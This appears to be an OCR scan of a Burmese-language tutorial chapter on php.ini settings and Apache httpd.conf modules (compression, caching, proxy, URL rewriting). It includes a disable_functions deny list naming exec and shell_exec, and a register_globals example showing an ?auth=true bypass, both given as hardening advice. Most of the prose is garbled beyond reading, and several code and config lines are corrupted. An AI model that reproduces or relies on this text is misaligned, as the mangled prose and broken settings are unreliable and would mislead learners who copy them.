300705 Off 02000390360:$60lo»03i Short Open Tag onol 09|$602302 PHP Code cooo 


<?php 39964 ?» z3280339026:9069:000: [mul sagesaeg§, <?php cŠ s»[0p33066q: 6023200: 
<? à <?= 0303 səo3coxoooso[eó səo>5:[o|&ColoooSi slsoeo short open tag Setting oo$@:o% On 
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co 9003903009: 9009 33200000009:9p:0030%000): [D $6 qooli short open tag 048: Off 
9903905 ooo:q6e009 seop:[p|$69oe09090los:w cocos: <? oo <?php aLa% 
9 3009;(8E:4 səëolo5səoooqo[eóoloooši co: [eo:o>ogo[eo:ajo5egoloo:i eq: «02202020 qoSoooó a 
oloasu «?- o» eo»? Output Tag c9es[&6oloooà: «?- c9eq:ooo:c9o9(86:00 <?php echo cŠ 
@9:009;(86:8,.0208 vlos «?- ay e«:220:000:0? PHP Code 60203 2203903000:023209 00900» 
000600 QRS: Output 2634 ooóəlooo5: eeoa: pudon 


Short Open Tag cogo 326095600:3929:060lo» 05i HTML à PHP 60303 esp(8:eq: qoas] Short 

° e e ` ° oo c ç Ox >x e 
Open Tag cogo>: [g G:səo: (96 Gq:2050:002:02 Code cozo? 882059 5030:600100051 (8:303 3298190 
Category List eo(98320505 329096q:220:30lo» o5 


<ul> 
<?php while($row = mysqli fetch assoc($result)): ?> 
«li title="<?php echo $row['remark'] ?>"> 
[ <a href="cat-del.php?id=<?php echo $row['id'] ?»" class="del">del</a> ] 
[ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ] 
<?php echo Srow['name'] ?> 
xi 
<?php endwhile; ?> 
</ul> 


338 Code o? Short Open Tag 60395:(8: sagof osn 


<ul> 
<? while (Srow = mysqli fetch assoc($result)): ?> 
<li title="<?= Srow['remark'] ?>"> 
[ «a href="cat-del.php?id=<?= $row['id'] ?>" class="del">del</a> ] 
[ <a href="cat-edit.php?id=<?= $row['id'] ?>">edit</a> ] 


<?= Srow['name'] ?> 
csi 
«? endwhile; ?» 
lios 


oc iN € o x 2 ° ° 
Output Qo$opo5ec?(0e0c902 eşe echo Keyword 02: <?= Tag 22:020 o»o?[gjolu 
c Ce CLAN IN ° x OC x c EN ç fege] c c 
320000900 e[s: day: [sc:egolón @c0s9036:d30096096@00I 3lçoeo Code meon QQ9oqjocoo 
aĝo G500906: soo5coo5coeo[oeoo PHP Code ¿99060390 HTML Structure àespeq:q 
o332elo?6: Short Open Tag eog aoo»: (ojesS (9222: gon 
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Disable Functions 





disable functions = exec,shell exec,unlink,phpinfo 


eoo? Setting 0299006009 disable functions [eóoloooŠi Š Setting səogo5oo$@:səesà PHP 
Function 3290960502 32030909220990960:$60lo»oÀu disable functions ao (so 0003903000:02 
PHP Function 60303 OR|$ 02503 Code o5eo 0099996:6q:200:96 3209909090e09090lop: I 8 Setting 
o? (asa: 320205 seos:(oj[o2ecogolooo5u 09$ 600302 App y 3905200896 Server à File System o? 
868603 PHP Function cogo? 3 Setting o5:(8: 805000:8évlos05u 3505:& sefi: zg] dll: e(0226 
09|$ 025038, App 9o ojeg: (Go00 90/0318: 39QG@GQ900560000300 9203080586 PHP Script eog 
0? 0g1§602503 Server go Run gGqag0:03 səəli Š Function eog 3225:e(9|$602320205 Server à File 
System o? c6903eo[s6:9 səcoo5səccojpo5osoogoŠ ¿colon 999 8 Setting ooo 
seme jose: 3 Setting e(o226 oB og: [b$ $625 @@03006olopen 


Expose PHP Version (or Not) 
expose php = Off 


. c IN > ° x co c ° oc ç < 
expose php Setting 32030092: On $ Off $5020080:509 səo5:[o|&ColoooŠi On ooo:qC Web 
Server o» Respond (9503326l Response Header cooo PHP Version o? 0009996:60:99o: go(sol 
oo Off 000:$66002 S$c900p9936:60:90 e050360090lon: t Off 000100 M 09(8;eq:300205 

< c oc € c o oco Ç Oo O ÇO CO 50 
326000023202 (sdco8Eclos05u Web App 02090) 0»058059c999602020! 807039008 393 Web App 
qo 300): [p|ooo:0? $99:090000q6:0? 3996 90:9609 loSi Expose PHP o? 005000: qp: ò 
0205903 092560200 Rasa: [S ooo: 02 PHP Version o? 028603 ao(go: § 202602 golsoo:000Ón aleo 
609 32090500909 629600909 3903E:39020026908 3200$32000: jð: eop (s90lo»ou 


Resource Usages 
max execution time = 30 


PHP Script 00039, sacgdadq§ [W:s A$ max execution time Setting à mámo3 
oc ç co, o gy IN e IN eo c IN IN IN : c 
oR olos 00$0:09 o99$4220990960:q0lo»o3! S a003g05c00:(8E:390:(6¢ Script duo 
IN coc e ° ° IN c coc Ç oo C e c IN c e 
o»o$eo9$|$3»026: [eesi saandenpdSEqE zancos msn 
Instruction eolé: 25$:&4[aec96c90860? CPU cope(o206 Script 8602994, fms gun Eon 


co IN ç 09 co ° o C€ ` ` c e e Q e ceo 
0298|.2»5» amoacolorn Sos oesi Ge 202: 009: OD Code S, gO: CC QP) (040 000 


N 


9602269 (s$0lo»o5u 
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memory limit = 128M 


PHP Script ooóəopso[ecso:səo3: [So gC eo:eoo Memory oeocpoocoo5: memory_limit Setting 
9005905000:860los05i1 oeoaoo? Megabyte 320205 M Unite &o20390960:q(8: Gigabyte Pé G Unit 
` c ç | ç . c e ° ç 

$990990) corola VI Script 020900 Memory oeocoseqp: o3: 3905;(G|05 qé Server Performance 
o oo C 


oc IN ce : ° IN coc ç IN oo c IN 
o205903eo0860looo5i ale[o2oç 3 Setting Op copo: qi$4|$2209905002:8c93290lo»05 v 


Error Reporting 




















error reporting = E ALL € -E DEPRECATED 





ç Ç Os ` E )| ` | x° š iN o 
ogj$eoo2o?s$, PHP Code oó9o səeo:cooolcooo23əs] 3233290:6093202900 Error Message cogo% 
C Opo € < +2 ° . ` > < iN oc | € co > 
90050906 eoS[po2622c5«9 0020? error reporting Setting $ 2505905000: &ColoooDIl 0040:3265& 
Pre-Defined Constant eslo) (09]0262203903000:0? 05$0:60260:$60lo»o3i co:&60? 00$8:60505 






































o» sa8orge0qs6: Constant e02006009 E ALL, E ERROR, E WARNING, E PARSE, E NOTICE 


` 


à E_DEPRECATED 036 (8$0lo»o5u 























E ALL 03602) Error 39020323303 səƏglo5[eóoloooŠi error reporting = E ALL LaS DA] 
Message 39:09:09 ce[oco:oo[eeoloooSi E ERROR meon Fatal Error eslo) Script nue 
< q coc CN o ` ° c € ° 
20032090 OORE SQ:çp:o2 Error 39q|:3200:qp:[990lo0n E WARNING 99020026022 
Fatal Error G026coo03es9:0) qo:096:es$ efons: oo09eo:qio?eop(s$0lo»o5i E PARSE 006002 
: ^ 2 Q c QO x ° c < 
Script ¢eq:op:gogo:eg.an oco Error saq]: 3900: (s$olo»o5u E NOTICE MEON 3290 
320209605090loy:! e29:20€023009:! eeo sega: d] à e«:220:000:8e(0206: 250960:qJo? 
co c ç ° ` c CO nQ ° ° o ` ° - 
om: ($0lo»o3u goeo - ego Array Index 0009 Moş: que (03:09:863032001| q|:eo Notice 
6o:02050lo0051 E DEPRECATED 006002 vaga fo R cooo e209: PHP Version co2ço 
ç S. ;| < ç x q < < c o 2. ` jl o < c ;| < 
0093993€:0l06 6002926090902? c906800€8|020209 0? 200): (9 o00:02329 00060: (s: [900 ooi 




















error reporting = E ERROR & E WARNING 089905905000: eds Fatal Error š Š u w. 
390305 Message comal: oq|Š Message 30303 Be faa ac i Development a (oi [ecd 
000006009 E ALL & ~E DEPRECATED «9050040: :(8d0]o051 sa8gloSoo Deprecated 200360: :a|o5 























co MAES Error 399309: p ad: səƏgloŠ (S9olo»o5u ^ Sign eœ: Not 38.03 səƏglo5 
oli error reporting = 0 089905905000: Eso? Error Message cooo n ss si 
olo: aleveu Error cog eceo[ocea|cobooosooosš $c9e22099092560lop: i o) Script onssa 

e e [e] e oc e e e e e 0 š : > 
(GSeg0§:008 edoz: Rolos Error coe[o[e S: oeoo: o} display_errors Setting š 
990590386 clos051 
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display errors = On 





display errors Setting 390305 On 3 Off 0050:409 aopo olon On coo: Qq Error 
Message 6090? error reporting $00209909000:0232096: eeo[Oco:eooli O£ £ ooo:eécooo Error 
Message 60203603(090 8070560201993 t sleoeos Log 22094 q903028:05000:60:eo(s$0lo»o3i 3] 
rj rj L 
e(o206 Development ço on coo: Š: Production yo Off coo:ecog[o2oloooi Off c000:0) 390305 Error 
o IN € ç ç O o < iN ç o 2 E ç 
GORA) ecoo[ocoeoo $800 ecocoo&cesaoc Log c99000:60:9o[89 c9 3209:060loo ÓN 


Register Global 


register globals - Off 




















PHP oo Request 4300?0lo6co00200$9:60909 $ GET, $ POST, $ REQUEST, $ COOKIE 3906 

o> Superglobal 602§00058002:60:02003 o9j$e00302 6a90008(03[8: [eëoloooSi Register Global 

Setting 03 On cor:easa8qé Request šsəoooloCcooo> 05$0:6090? Superglobal eogšcoo5ë[oésoé 

002: 09900 32o: 602 Variable cog asso! PHP o» (GE s06000:60:0lea0:00051 Sc0[ocsoceo: 
ç ° gee IN e Ç x f$? ooc € 

coo: (36:00 e25:0203q6 səcoxocco:[o2:oqjoSoy also: [222429 & 601 mu pues - 


if ($ SESSION['auth']) { 
Sauth = true; 


) 





if(Sauth) í 
// Do Important Things 
} 


&Q4090 auth Session AEF $auth Variable o? true 02$0:2209909eoeo[s90lo»ou 6800506: 
qo 32e«:[03:03c966s026qjo9eo50909c9096: Š Sauth Variable šoóeso:esooC go? eoo>oocooo[eéol 
oi register_globals 09900 On œQ Request go ?auth-true o) Query String oloé 





conga é 3 02§8:03 PHP o» 05:632026: $ GET Superglobal 4, auth Index oo co038000:60:059Je00 
Sauth - true 20) Variable 0069030095: Nepas e(a[grmogaco:0:efsrulor ou 3 
con oj 07508 599909] soq auth Session IAN Sauth Variable $0548: true (9550: e» e»(69 

° ° M iN c ç o ° Oo Ç x c o oc ° c jl c. o o ° 
Q 20609: [03:03 coÓ esooCqJo502 aaao: ð Nag: f conv udeo oll Sco[oososocoo q 
&6cQ register  globals Setting o? Off aso: qeo(880lo»o5u PHP 7 gocom 8 Setting oloé 
ae e0»0360090lop: t 
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Request Size and File Upload Limit 
post max size = 8M 


POST Request 05832050lo6coo0? Data veu post max size& 05&0203000:&60lo» ou 9:4: 
Request Data 609026002 oeocp3eqp:[03:$)30lo»o5 v Request § 3202 File coooloCcooeo5o VANO 
e )| o IN o ç e oc | c co, ° ç . ` . 
qp: Mool 93202509 manga: ¿colon o$: Megabyte 320905 M Unite š Gigabyte 

390305 G Unit 3905;(0)(8: 9905905e0:q 0100051 


file uploads = On 


File Upload eQ(gje(go? file_uploads Setting à2205905000:$60looo3i 0r§8:02 On es alo 
ç ,O * ° er cre ° c : e IN 
0203 e9023280lo5(89(8: off s9«660»9 File Upload e€(9|eoe0?0360»20lop: 1 


upload max filesize - 2M 
File Upload g¢[ojcos:0205a8q6 Upload coócooo> File o»$9qj6:34, asco: oeon00? 
. . : > ç IN oc e ° o oc co, Q0 IN 

upload max filesize Setting ¿ oošo5o5coo:8ColoooSi 05:632026:0040:02 Megabyte 220205 

M Unite à Gigabyte 390305 G Unit səo>:[o|[Š:oooSeoSco:qoloooši Server e, Capacity š 300): [o| o9 

396939020960] @0295[8: 25$600322c9220990960:000:$ 60lo» 03i 

Allow URL as File (or Not) 

allow url fopen - Off 

PHP & file get content () cQ Function o5:(8: File 020296093295: [p|o3»el coo59 Server eo 
° ` : > ` ° : > c 

yen File comen URL 3268 460:0020? ə (go: Server oo Resource 603030] File 32684 22090 
S S o : ` e e oc ; IN o c > Q C 

coógQ(gje([Qo? allow_url_fopen Setting š aooo: folos sa: asa oig eo 

Off coO(8: o5coo:ooColoooSi feq odp: ondha aedon 


allow url include = Off 


File Include c9602329leocop3: mask Server gogo? File goəo>oeoo URL 326$460:0000) afa: 
° cls à : >b c IN oc 
Server oo Resource 603030] Include ags elele allow url include Setting $ 2505905000:&C 





jl IN C.N o ee c X IN jl € 
OÍO2OO!I RVP: eop320ec Off Q90002:022060»2C:0 ODOOII 
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Timezone 


date.timezone = Asia/Rangoon 


Date/Time oov |e: 32090090 qo9€: Default Timezone 3268 &32o5:(9| codo) 00§8:03 
i ° x` . ` c c ç oo o c iN O x . 
date.timezone ao} Setting §0005@03000:60:0109051 8832o5:(9| s»c9óc9Ócocpo? Timezone 

ç o ç e e c ç c | ç c coc x . ç ç ç 
326030? PIMICESNC 2205905000:60:q92 (S90 oo 0005905áC0? Timezone sogge: sooo? 
30002 http://www.php.net/manual/en/timezones.php oo eaga soloo (ejongcó, Standard 
Time 02000390360:09 éso Asia/Rangoon 38.03 00§8:03 020990960:q900]i 


329609[03 0206020560»? @[gdeega8§a0603 Setting eoo (so: Setting ao [00932609 e322030lc909290 
somoneaynécolod 


http://www .php.net/manual/en/ini.list.php 


8.2 - Setting Configuration on Run-Time 

Setting 60303 php.ini go 0203803620039030 PHP Code c5900009296:es: o»o:[86:a2o: (5 ccoo: 
9905905 soleas seo»[p|qo? Function 602026009? ini get(), ini set() & 
ini restore () Bd (ssolor 1 


26/9000: 03 secar: Upload File Size o? qm das ini get ("upload max filesize") co 

e e oc | ç à . : co : co Oo c M 
es;ooo:eo:(SÓ: safes qoos ini get () Function o» mag Setting o5$8:03(0460:0) 
Function odg [s90lo»oóu 





Error Report Setting 022003903 09q6 ini set("error reporting", "E ALL") aeg: 
2905 9o3&860lo»oói ini set() Function o» Setting 02§8:60208 Run Time 92000390360: 0100051 
co A š < e o oc Oo. : : > IN ç Oo 
oq, Setting sogoocooo Run Time y 2205g05c9eeáCcà ini set() Function š vanos 
ope http://www.php.net/manual/en/ini.listphp eo Setting 02§G:60208 ceo[oo>səə] php.ini 
Q IN IN c ` : : : ` IN e Oo ` : c 
Only R 69000: 603[9000:03 Setting cogu» ini set() § nom Setting coo[e° 
IN à : : > : ene < ° çO 0 ç < o S.S 
oloow ini set () Function à Setting ot[Sesoccoo:[Š:o gwo§8:0 [p$e[096: Vigie 
ini restore() Function o? aeos: fo los 
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8.3 - Apache Setting 

non: Apache Web Server §003000503 Setting 60303 coeo[oco:oleoŠi XAMPP o? Windows 
qo329o9:[9|es25qp:320205 Apache Setting File mo Location meon C:\xampp\apach\ 
conf\httpd.conf [ešoloooši Linux gas /opt/lampp/etc/httpd.conf [ešoloooŠi 


333 httpd.conf o9 Code Editor à gV qi səəcocog2qacoloooŠi 


This is the main Apache HTTP server configuration file. It contains the 
configuration directives that give the server its instructions. 


ServerRoot: The top of the directory tree under which the server's 
configuration, error, and log files are kept. 


Do not add a slash at the end of the directory path. # 
ServerRoot "/opt/lampp" 


Listen: Allows you to bind Apache to specific IP addresses and/or 
ports, instead of the default. See also the <VirtualHost> 
directive. 
Listen 12.34.56.78:80 
Listen 80 


Example: 

LoadModule foo module modules/mod_foo.so 

LoadModule authn file module modules/mod authn file.so 
LoadModule authn dbm module modules/mod authn dbm.so 














. ` MUS RES ç ç "e : o S e.  ¢ oo 
Sign ¿0000:03090:c03m eo5a|o5coo[eóoloooSi php.ini oo Semicolon o? 9038030095256: 
3220: [9 sueo) httpd.conf oo # Sing Naa: foes: fedos oacoo5:o DSN Setting copa, 
aoo»:[o| 96020? go e$ 0290l0293:0300360:000:0000]i 


Port Setting 
Listen 80 


000689:905200:00602 Setting Meo Listen (8$0looow Listen Setting 805:(8: Apache Web 
Server oo 020080968026 g09 $60? Port No. 02000390360:$60loo09 t Web Server 390305 Default 
Port šolo5ooo 80 [8ëoloooSi httpd. conf eocops: 80 090 oooSəc5coo:eo[eóoloooŠi php. ini go 
Q : ` co : ` x Q ° ° 

cÓ Setting à oo$8:(o20: Equal Sign š 3[8»:6q:220:0 pegon vfo ou 


32G o:a] gle 0206 aas qe 80 3309; s [so:šoloSoošəš efo: $ oloon pee Listen 90 
c9000$9038eo9s9q6 Web Server o? Request coóo>səsl http://localhost:90/ $: Host Name 

c ° c IN e c c IN IN ç Ç ° 
egoo3o0es Port &olo$oleop296: Request cpdeo:q92[gdcloraSu sagp:aer:(6¢ gq vda): 
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° 


pS: Web Server 490579 cop9996: :06: e men :90 Listen Port e GO: :8 000 Sol 


ooosi Web Server 020900 Default Port (96 o» 8 Alo “(01 ooo: "E 5009000 Web Server o» 35$ 
Port o?3o9:(0|$6600292e0?030lop: t slefoxg — Server o? Listen Port e(926:60:8 0200 


Aes: folni Rasa e[po6:qo2aes| 90, 8080, 8888 vafe qcooo$8: 80 à $000) 


N 


02§8: 602602609 A olon co:a|Co oleoa qol sleoeo$ 020360:c90302 šolo5oo oo 


N 


> ° x c : c ° ^2 IN co o € c c < ° 
DPA mole: Service 0069909 25:650? ¿ula 647058602) Bolo es00300$q[09 9903[G}906 
0200» 0030990 Firewall §aé Firewall o» $9§ 6090303 Port 40lo$60209 səcoócoósce[o|ó 903000: 
ooo: Q|: (86000302003 ooco[o|o5ColoooŠi 


e x . Nw o : o ç (e e e Q.Q x co 
poes |! php. ini à httpd.conf ogo Setting coge: fegi |e[Goé:0$050302§8:603 


š 
Ë 
° e o o e : o e e e ec o 
320200 S Web Server o? Restart Q9060: :8c90looo3i Configuration coo Server 32090 quaa (6:69 c9 
ç o E o e ç 
Ligos OA qio(56: Effect GSqoeuncSclop: II Server o? Restart 07060: :6 adol 


Apache à cpdes02€6qj0560203 Module qp:à ooócolé:(8p99o3c9qolo»o3! XAMPP oo səob:oco 
Module qp:0205$0loop$: cooooəCeo:coo:oloooi səo5:[olcoo> Module 0203 httpd.conf ceo 
LoadModule Setting 95:(8:200590360:q 0100051 XAMPP o» Module 0205 httpd.conf ÒQ 
ç S, . ç co o fe, ç IS Qc o € 
oop?ogé:e(o»[£2000:60e0$ o»$q],0? so + Sign 48: sacqdecgdeaa0c 90360:000:0202cop3:602 $ 
ç 9 ç x ç o ç u C . ç 
¿coloocón ooo9(g[oo€0? Module odje: eVe: oon 


Compression Module 
LoadModule deflate module modules/mod_deflate.so 


Apache Web Server oo Document 60303 Respond (9$60:03329li Document à, Size o? eoD: Og: 
eaz2 Compress coó[6:e Respond (0$60:608 mod deflate Module o? aeos: fo solos 
mod gzip eslo) Səcoo:oo Module cop5:qoleos:oooŠ!I mod deflate N:P: olonu 
Gzip 4 Deflate RUN Compress Algorithm eoo (so: Text Content cooo q0% coposeo: ago: 
63306 Compress opde0:8€(a30los051 HTML, CSS, JavaScript oo? Document 607300 32956009 
Text Document cogajo5:o[eëoloooši 














mod deflate Module e(oo(£o00o:02c96:02 + Sign &903e000:0»e2»qpesoo6 $:39:00680:60:0l1 
(8:6 Compress cpdeoc$03 Content 39q|:3200:0$ httpd. conf SÒ maes 2203903eo:$6 
oloooSu 
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<IfModule mod_deflate.c> 





















































AddOutputFilterByType DEFLATE text/plain 
AddOutputFilterByType DEFLATE text/html 
AddOutputFilterByType DEFLATE text/xml 
AddOutputFilterByType DEFLATE text/css 
AddOutputFilterByType DEFLATE App/xml 
AddOutputFilterByType DEFLATE App/xhtml+xml 
AddOutputFilterByType DEFLATE App/rss+xml 
AddOutputFilterByType DEFLATE App/javascript 
AddOutputFilterByType DEFLATE App/x-javascript 
AddOutputFilterByType DEFLATE image/x-icon 


«/IfModule» 


SSoo05goseo:chasoousapqé Apache oo HTML, CSS, JavaScript, XML à Icon 60208 meda: 
Compress coO(8:e Respond [S$eo:oo[eóoloooŠi Response Header gana: Deflate Algorithm o? 
25:(8: Compress coOooo:e(o206: cop$996:60:25o:eo[890looo9€ Feon Respond o?co098qQ0? 
Browser o» Compress aso: efo: SA: c93202009 Uncompress (910998: eue: $6 eo(s90l 
cooSi Client à Server 800325039 aq: (o3: slefa: 222:0) Module ooóə[eóoloooŠši 


ga 1 n <IfModule mod deflate.c» ... «/IfModule» Fono mod deflate Module $e z205g0 


> S iN ¢ ° S S iN iN S c ;l ç Ox 
G6|:920:002:02 QC cg SƏC0OCOOGOG3S20C 09630:000:[9c: [900 oi mode deflate Module oge 


r : c co c . : coc o i C Q C o 
DEFLATE Setting e0o2a005g036q¢ Configuration Error pegi GDA PEI o0c9050? o5Gooooli Module q 
° 





l e 


c x° Oo e N 5 : o O CO C GC. HO ç HE DERE RR 
Om GOdQPQC 333c9096690 DEFLATE Setting copo? 020580300 $:eq:c9qolo»o9u sleoeo$ ©660:(8:69:900: 





Ç I < c c ;| ¢ 
(86:00 32693309 GOIDC 0909 [ev O2OOII 


convo? $009 qi6:63206 $99 300020200 3990800He[039630295:4q 20005: «olo» ou 


<IfModule mod_deflate.c> 
AddOutputFilterByType DEFLATE text/plain text/html text/css 
</IfModule> 











Compress coócocoo Content Type 603203 0»96[0226: 0003: 00$:869:000:0903[86: [ešoloooši 8 
e e gy e e ç o e e oc ç ° e 
Q eaS Səcoo:oocoOoesoocajo5ooo PHP mos: aseo: ¿color Output o? Compress coo 


Go:o> ob gzhandler() c2 Function dl: PHP oo loos 3lsoeo5 Apache y oo@əlooo5: Setting 
090002: c90200000 N:e agso 
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Cache Module 


LoadModule expires module modules/mod expires.so 


mod expires Module meon Cache Control a20209(890lo»o5u Browser cozo Respond afs 
SAN e IN ° C h c P ° )| IN x° o C h CN | e Oo C tent o 
9:02 328|0932c0056090? Cache qoo: eaol 333c9. Cache 0560232890 92050) Content so 
IN oc IN ç O c IN S OL : ° e coc ^ c c 
qÊ 328|$ 020co 22096co20500 Cache qow} Setting ap 2209905&6eo0? Module od? (95 














olo»oóu Module o? Sing à 805e000:0% cmapeznmcoseso:(8: q Cache Expires Setting cooo 
399090909 goSs 


<IfModule mod_expires.c> 











ExpiresActive on 

ExpiresDefault "access plus 1 month" 

ExpiresByType text/html "access plus 0 seconds" 

ExpiresByType image/x-icon "access plus 1 week" 

ExpiresByType image/png "access plus 1 month" 

ExpiresByType image/jpg "access plus 1 month" 
«/IfModule» 





ix . . O x : e c o c c IN IN IN Sos 
ExpiresActive on ao} Setting oleoq|š$səcoÓqp:oo soc5coOeo[eëoloooŠi 90059050902 Content 

o <Ç : : ° c c oc € o c o Q 
Type 3290 Expire Time o? ooo: ¿colors $e HTML coo? 0 seconds co 

Soo. 0 NE Solbes 2] ç Q ds ° Q 

2003903000:09 Cache o»660:90 eupol: 3lsoeo> Icon cogeo (o) lod sacd Cache aoco 
gfse: PNG š JPG Image co2a8 (o) cosacd Cache coOeooo[eócloooSi S$: oooŠ Content 
o? mu Cache NÓDEDO 9905905000: 86000051 


Proxy Module 


LoadModule proxy module modules/mod_proxy.so 


mod proxy Module Ra: fole: Apache o? Proxy Server odg aeos: (oj|&6oloooóu Web App 
c ° o eo C > O O x o o0 c IN 

0209020 aoo»: S qp: mid App Server š Proxy Server 0207 fn: 000: $0) 32600002050] 
<, 0 c IN c o ere Qo rn e Oo 

on 360299 05602093209 06090? App Server mos: Request cop 6603300700) Proxy Server 

c ex c e IN c IN ç oo ç ç c IN ° 
NM MÒ aseo: ec: səo: [96 99:6s026qo30960026:9$ oooeoeo[s$ó0lo»o5 v (8:602 Proxy Server 
LEN > . c IN IN ` c CN c IN IN 

qo (m0:300630:0> Security coóesooca|o5Goo! Cache Control 4005 wmo ieat oeo Load 

Balance 400525030? c966s006qo$e0209 cop$:0300$00o:0: Beggi: 96:690066q96:0? go 

G0006:05000$60006:00063206 $8000:860leo0: 00051 


Proxy eo Reverse Proxy à Forward Proxy so(8: 5041: Alos mod_proxy à Apache o? Reverse 


Proxy afede Forward Proxy afso] Setting aso: Solos Reverse Proxy 3020029 9:4: 


° ` 


Web Server 002090 Client Request eoəgo2coo5ó8Co> Server [gdclos05 sleoeo? Raga 
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Respond e[bšo o€eqp0500003 Request Bodeao:(8: ao(go: Server 026905 Request o? coo$s06 006: 


co:Qolooo3i 353 Server oo (o§cop5e0:8 cooo> Respond 029 Client œ 9900006806 Respond 


(G§copSe0:886o3 Server ooàQ|:(s$0lo»o5 sefa Setting sas 3299 oooSoocoo:8Coloooi 


ProxyPass /foo.html http://example.com/bar.html 
ProxyPassReverse /foo.html http://example.com/bar.html 


$c92509903000:c909€6 foo.html Document 3020? Request coo$8q$q6 example.com/bar.html 
° IN IN ç (9 o o c IN e O0_2 (8 

co comsa0G6:(8: Request o? 60:Q090:¢0 (S9olo»o5u Reverse Proxy §25:090008095:(8: Load 
Balance (90260903 Rockstar Developer ë, 3296: (9) eoeeo[ocoo:oloooŠi 


URL Rewrite Module 
LoadModule rewrite module modules/mod rewrite.so 


@g2030063903:0603 Module meo mod rewrite [ëëoloooSŠu URL on $9§300:(6¢ Web 
Server gogo? Resource 00020095: qooo(s$0looo3i sleve 0003) sodomgo Website 6020305:03 
səəlo5o2 coo:Əeooli 92038, URL eo File Name eopà $05050980966$0 9950059595 (59602050 
00051 http://en.wikipedia.org/wiki/MySQL 20) URL Neas File Name cogeolocol 
1 € € o fy S O0 o ^S | IN 
Pill sleve: dA Neon qSe»9(s90 oo Web Server meow Folder Name eog 
File Name cop. URL qgoolo6coogo»oc9qi602 Document 08600030898: zasa eo: g eeso] 
nd Sc9esqpq]:qo mod rewrite (Mm 3209106 coo0loo sn URL Rewrite Setting 6022209909(8:1 
oo6q963206 [o||GCooo:o5 Request URL (URL səcoso[o2olë) 03 0260005 Resource ps URL 
(URL 2200) se(s9e(026:(0:9 saaa esni 2205905005:$60? Module coës[8ëoloooSi slef 
Website aoo»:(popoo q6:coé:(8: əo5šecoo5o> URL (3209) 026905222:000:809(8: mod_rewrite 
x° ° Ce O0 S gy ° c ç 
oo 393 URL 0? van 033231 URL 32004 3907: Q: 602090: 99 (gdolos05u 


URL Rewrite Setting 69:000:4995003 6 (0-0) oeaan olovo 
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RewriteRule “cat/([0-9]+)/?$ index.php?catid=$1 [NC, L] 


Request URL Pattern URL to Rewrite Flags 
[ Regular Expression ] [ Actual Resource ] [ Optional ] 
^ Start of a String $1 - The content NC - Case Insensitive 
$ End of a String of set on L Last (stop here 
() - A set (to reuse later) if the rule match) 
[0-9] - 0 to (number only) 
+ - One or more 
[0-9]+ One or more number 
? — A character or not 
/? — Maybe include a slash 


[ Example ] 


| : http: //example.com/ 


http: //example.com/ 





9 (0-09) A URL Rewrite Rule 


oc 


RewriteRule Keyword à OGO: :q/6: apan 320€: IES €: oloéolo»oSu Request URL Pattern, 


On Í 


(o¡[eée0:c00$0> URL à & 0 (sopa 0:30 (Flags) opó(soo mn 


Tepen URL Pattern o? Regular Expression à eo:qe»(s$olo»oóu Regular Expression ooo Text cop 
QOC x e e IN C N e eoc x e 
o? Mi Sub Language 0069[gd0lo05 Qp: AERO Sxoo5os|Ócoóə [8 [ešol 
ooon Rewrite Rule 60 69:000:8 32020929256 o3a0e(38 Pattern 60203602) 9 (0-0) oocoóslooe5: 
eoS(pooo:olo»o5u ^ 0260502000 920096(0206:8, 390903(960l00051 Š 0260500006002 90056 e[0206 

92039: eoŠollii 


RewriteRule ^books index.php 


$ go. ^ 2 og :GOGOS 3p: :909020203903e000:0lop: slefoxg Request URL o» 
200) 


30 
Aman) index.php 03 a): (9, Request aeo: 


IN 
books à 0380053396 (680302900080 


c ;| ç 
(950 onu 
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RewriteRule ^books$ index.php 
89 Ee0r? URL o» books Aso (ade index.php o? 300) :(0| Request aseo: 90011 
o “< e e oc O ` ° oc ç 
$0202€:328€320020?600 Set səosàsəo5:[o|&ColoooSi 
RewriteRule “books/([a-z]+)/([0-9]+)S index.php?cat=$18id=$2 
° Ç e e Q cy e e ` e e e ç ç 
&Q4090 9ODIAQC239QES9009§.000909C:000:09 Set 490loéqgo[Bdclosa5u oooe Set 3209€:00 [a-z] 
o» a to z ola! 
Character 6028 00§:602 (893«6 3 Rule àe020509600209 saasa gulo: 30900. Set qo 


con 0 to 9 ocp$:o»c9q6 oqj$o? Character cog woes: səƏolo5[sëoloooSi + 226050000 


ooi a to z JVOP Alphabet coo&éolooo i mos»: Special 


con 338 Set 32030 o:a: 32409:99: $/$602c92209909000:000li! Set 6999 0lo6c»»0200$ 
8:60909 $14 $2 |: Variable qp:22034 URL 329990 [o$cooSsəo3:a|8Coloooši slef Request 
URL 0 - 


books/internet/98 


ç 


- (83300586 22950290005 Request c96252:609 URL oo - 
index.php?cat=internet &id=98 


: (899o0lu atoz o? 0 to 9 o? 00039036650 6932009 Character es9oloó$6oo05 508 2005 3905 SAE Dot 
2060020 so Solos e2: 


RewriteRule ^books/(.+)/(.+)/?$ index.php?cat=$1&id=$2 


) c90209909000:0232090? poa Character es9(89$60003! aleoeo (o) a): (sogas 
803 səƏglo5oli $9409o0lo? ? wednàasglSn amma: (coécš:) oocq: gonsi eol 


cop5:eŠ 0203«9023280lo3(s$0lo»o5i 02§95:3903(66 PPAR AECH: Slash dlgécops: 3 
Rule 32096: səcoOcooeo[eóooco eoleécopà: 2d sins 


e8002000(809909909220:22602 6q:09:006900600? 905:396q2990205 02§9005(8E:[Bd0lod051 399 
c2 ego: Eolo 


RewriteRule ^books/( ]{5-10}) -9] {3})/?$ index.php?cat=$1&id=$2 
ç Q C x ° ç ç c ç c c oc ç ` 
079076: edo Ss980305¢0 $2C9:326632020000&2005q|0ó Oeog oono [a-z] {5-10} $ 
3280lo5 meon a toz 3209 pcoo$8e09! e2o9:eqoo (9) (à (90) có: ooo: [eŠəeo5co 803 3280lo5 
o Li ° o 
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` ° e oc ç Os Co IN ° ° ° e 
oli [0-9] (3) q səƏgloSoscooo 0 to 9 05á:00054:6090?0c002$605! 0209:66| (2) c9:320932 (59 
eo5c9oo& 2003[96:(Gdolos05u $ Rule Ga: E: (8:303329$:9709:000:303 Online Book Store 
e : ° ° e e oc e ç 
32030) Rewrite Rule cogo 32909 220290960:4C690 odolo 


<I tModul'e mod rewrite. C> 
RewriteEngine On 
RewriteBase /store/ 
RewriteRule ^books/?$ index.php [NC,L] 
RewriteRule ^cart/?$ view_cart.php [NC,L] 


RewriteRule “category/([0-9]+)/?$ index.php?cat id-$1 [NC,L] 





RewriteRule “admin/edit/book/([0-9]+)/?$ admin/book-edit.php?id-$1 [NC,L] 
RewriteRule “admin/edit/category/ ([0-9]+)/?S admin/cat-edit.php?id=$1 [NC,L] 
